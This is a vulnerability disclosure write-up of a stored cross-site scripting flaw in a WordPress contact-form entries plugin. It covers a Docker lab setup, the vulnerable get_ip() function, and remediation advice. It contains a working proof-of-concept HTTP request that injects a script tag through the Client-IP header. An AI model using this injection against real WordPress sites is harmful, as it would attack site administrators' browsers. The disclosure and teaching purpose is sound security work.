A year ago I discovered a stored XSS in Contact Form Entries plugin. It is an interesting case of Cross-Site Scripting vulnerability in headers.
Introduction
CRM Form Entries is a plugin that automatically saves form submissions from several WordPress forms:
After a long time I finally received a CVE for this discovery that you can find on the specific of the website with all the other CVEs and Written Exploits.
Setup environment
I setup a Docker environment containing WordPress with the vulnerable plugin:
version: '3.8'
services:
wp:
image: 'dockersecplayground/wp:5.6'
stdin_open: true
tty: true
ports:
- '11080:80'
- '9000:9000'
depends_on:
- db
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=dsp
- WORDPRESS_DB_PASSWORD=dsp
- WORDPRESS_DB_NAME=wordpress
volumes:
- './xdebug.ini:/usr/local/etc/php/conf.d/xdebug.ini'
db:
image: 'dockersecplayground/mysql_dsp:latest'
stdin_open: true
tty: true
environment:
- MYSQL_DATABASE=wordpress
- MYSQL_USER=dsp
- MYSQL_PASSWORD=dsp
- MYSQL_RANDOM_ROOT_PASSWORD=1
networks: {}
I usually use VS Code to analyze the source code; it is great as it is possible to attach to running containers by using the Docker plugin and Remote Containers plugins.
Vulnerability Description
CRM Form Entries CRM is vulnerable to a Stored XSS in Client IP field.
When the user uploads a new form, CRM Form Entries checks for the client IP in order to save information about the user:
public function get_ip() //wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388
The user can set an arbitrary “HTTP_CLIENT_IP” value, and the value is stored inside the database.
Proof Of Concept
Suppose we have the following form:
Intercept the POST request and insert the following Client-IP header:
POST /wp-json/contact-form-7/v1/contact-forms/1376/feedback HTTP/1.1 Accept: application/json, */*;q=0.1 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------9885500162977152723644841236 Content-Length: 963 Connection: close Client-IP: <script>alert(/1/)</script> Cookie: vx_user=61c2ecea43ad6164016458635903967 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7" 1376 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_version" 5.5.3 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_locale" en_US -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_unit_tag" wpcf7-f1376-p1701-o1 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_container_post" 1701 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_posted_data_hash" 3e8ce0f47face5a3318813e733c3c774 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="text-42" Test -----------------------------9885500162977152723644841236--
The request is accepted, and the code navigates the section $_SERVER[‘HTTP_CLIENT_IP’] , IP is injected and saved inside the database.When the administrator clicks on the entry element:
The XSS is triggered:
Recommendations for Pentesters
When you explore Cross-Site-Scripting bugs, always checks for inputs that are not usually used to be reflected in the output. When I was looking for vulnerabilities in the plugin, I looked at my IP address in View Section, so I looked for the entrypoint of the IP address in the database, and I found the get_ip() vulnerable function.
Recommendations for Developers
Sanitize the user input by using safe libraries, or HTML escaping libraries. In WordPress it is possible to use esc_html() function (https://developer.wordpress.org/reference/functions/esc_html/). Otherwise, OWASP offers a great API developer: https://owasp.org/www-project-enterprise-security-api/https://owasp.org/www-project-enterprise-security-api/